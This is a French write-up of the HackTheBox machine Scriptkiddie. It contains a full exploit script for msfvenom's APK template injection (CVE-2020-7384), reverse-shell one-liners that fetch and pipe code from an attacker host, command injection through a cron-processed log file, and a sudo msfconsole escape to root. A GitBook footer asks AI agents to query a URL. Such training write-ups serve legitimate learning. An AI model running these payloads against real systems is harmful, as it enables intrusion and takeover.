> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md). # Récapitulatif HackTheBox de Scriptkiddie Récapitulatif de la machine HackTheBox Linux facile Scriptkiddie couvrant l'exploitation de Msfvenom (CVE-2020-7384) (RCE), l'abus des logs + tâche cron (injection de commandes et pivot d'utilisateur), l'abus du privilège sudoers (Msfco {% embed url="" %} {% hint style="warning" %} Compétences : * Exploitation de Msfvenom (CVE-2020-7384) (RCE) * Abus des journaux + tâche cron (injection de commandes et pivot vers un utilisateur) * Abus du privilège sudoers (élévation de privilèges avec Msfconsole) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts ```

**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,5000 10.10.10.226 -oN targeted ```

## Port 5000 - Exploitation TCI de l'APK Msfvenom

Nous identifions un service vulnérable exécuté sur le port 5000.

Nous effectuons une recherche des vulnérabilités associées : ```bash searchsploit -m multiple/local/49491.py ``` Nous trouvons une injection potentielle via APK.

**Script d’exploit (msfvenom-exploit.py)** ```bash python3 msfvenom-exploit.py ``` ```python #!/usr/bin/env python3 import subprocess import tempfile import os from base64 import b64encode # Modifie-moi payload = 'ping 10.10.14.50' # b64encode pour éviter les mauvais caractères (keytool est pointilleux) payload_b64 = b64encode(payload.encode()).decode() dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #" print(f"[+] Fabrication du fichier APK malveillant") print(f"Charge utile : {payload}") print(f"-dname : {dname}") print() tmpdir = tempfile.mkdtemp() apk_file = os.path.join(tmpdir, "evil.apk") empty_file = os.path.join(tmpdir, "empty") keystore_file = os.path.join(tmpdir, "signing.keystore") storepass = keypass = "password" key_alias = "signing.key" # Créer le fichier vide open(empty_file, "w").close() # Créer le fichier apk_file subprocess.check_call(["zip", "-j", apk_file, empty_file]) # Générer la clé de signature avec un -dname malveillant subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass, "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname]) # Signer l’APK en utilisant notre dname malveillant subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file, "-storepass", storepass, "-keypass", keypass, apk_file, key_alias]) print() print(f"[+] Terminé ! Le fichier apk est à {apk_file}") print(f"À faire : msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null") ``` Le script génère un fichier temporaire contenant un APK malveillant.

**Analyse des paquets ICMP** Nous surveillons l'activité réseau pour détecter une réponse : ```bash tcpdump -i tun0 icmp -n ```

### **Exploitation RCE avec Msfvenom** Nous modifions le payload pour établir une connexion inverse : ```bash # Modifie-moi payload = 'curl 10.10.14.50 | bash' ``` Nous créons un `index.html` fichier contenant : ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.50/443 0>&1 ``` Nous lançons un serveur HTTP : ```bash python3 -m http.server 80 ``` Ensuite, nous écoutons la connexion sur le port 443 : ```bash nc -nlvp 443 ``` Une fois l'APK envoyé et exécuté sur la machine cible, nous obtenons un shell distant.

#### Nous améliorons notre terminal pour une meilleure interactivité : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Drapeau user.txt :)

## **Élévation de privilèges** ### Pivot vers l'utilisateur pwn Nous trouvons un script `scanlosers` dans le répertoire de l'utilisateur `exploitation`: ```bash #!/bin/bash log=/home/kid/logs/hackers cd /home/pwn/ cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" & done if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi ``` Ce script traite les journaux et exécute `nmap`, ce qui pourrait être exploité pour une élévation de privilèges.

L'idée est d'injecter une commande en tirant parti du filtrage par le troisième mot. Nous pouvons insérer un point-virgule `;` suivi d'une commande malveillante, telle que `curl` vers un serveur contrôlé par l'attaquant. ```bash echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers ``` Cela entraîne une requête HTTP vers notre serveur.

Nous écoutons sur notre machine avec : ```bash nc -nlvp 443 ``` Ensuite, nous injectons une commande pour obtenir un shell distant : ```bash echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers ```

### Sudo - Metasploit Nous vérifions le `sudo` les permissions : ```bash sudo -l ```

Nous découvrons que nous pouvons exécuter `Metasploit` en tant que `root`: ```bash sudo /opt/metasploit-framework-6.0.9/msfconsole ```

Dans `msfconsole`, nous ouvrons un shell Ruby interactif : ```ruby irb ``` Ensuite, nous lançons un shell Bash : ```ruby system("/bin/bash") ``` Nous sommes maintenant `root` et pouvons lire le `root.txt` flag ! 🎉

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.